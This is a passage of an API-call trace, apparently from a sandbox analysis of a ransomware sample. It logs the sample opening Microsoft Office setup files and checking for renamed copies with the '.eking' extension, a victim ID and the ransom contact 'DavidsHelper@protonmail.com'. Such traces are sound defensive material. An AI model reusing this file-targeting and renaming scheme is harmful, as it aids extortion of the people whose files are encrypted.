Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0170.537] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6421) returned 1 [0170.537] CloseHandle (hObject=0x1f0) returned 1 [0170.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0170.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0170.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0170.539] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=16683) returned 1 [0170.539] CloseHandle (hObject=0x1f0) returned 1 [0170.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0170.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0170.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0170.540] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1452) returned 1 [0170.540] CloseHandle (hObject=0x1f0) returned 1 [0170.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0170.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0170.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0170.701] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1872) returned 1 [0170.702] CloseHandle (hObject=0x1e4) returned 1 [0170.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0170.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0170.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0170.721] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1458) returned 1 [0170.721] CloseHandle (hObject=0x1e4) returned 1 [0170.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0170.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0170.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.045] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=811) returned 1 [0171.045] CloseHandle (hObject=0x1b8) returned 1 [0171.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0171.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0171.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.047] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=16852) returned 1 [0171.047] CloseHandle (hObject=0x1b8) returned 1 [0171.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0171.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0171.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.048] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=31094) returned 1 [0171.048] CloseHandle (hObject=0x1b8) returned 1 [0171.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0171.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0171.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.049] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1450) returned 1 [0171.049] CloseHandle (hObject=0x1b8) returned 1 [0171.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0171.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0171.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.051] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1608) returned 1 [0171.051] CloseHandle (hObject=0x1b8) returned 1 [0171.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0171.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0171.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.053] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1377144) returned 1 [0171.053] CloseHandle (hObject=0x1b8) returned 1 [0171.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 0x20 [0171.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 0x20 [0171.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.055] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6241) returned 1 [0171.055] CloseHandle (hObject=0x1b8) returned 1 [0171.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0171.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0171.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.057] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=9503) returned 1 [0171.057] CloseHandle (hObject=0x1b8) returned 1 [0171.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0171.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0171.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.058] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=20577) returned 1 [0171.058] CloseHandle (hObject=0x1b8) returned 1 [0171.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0171.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0171.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 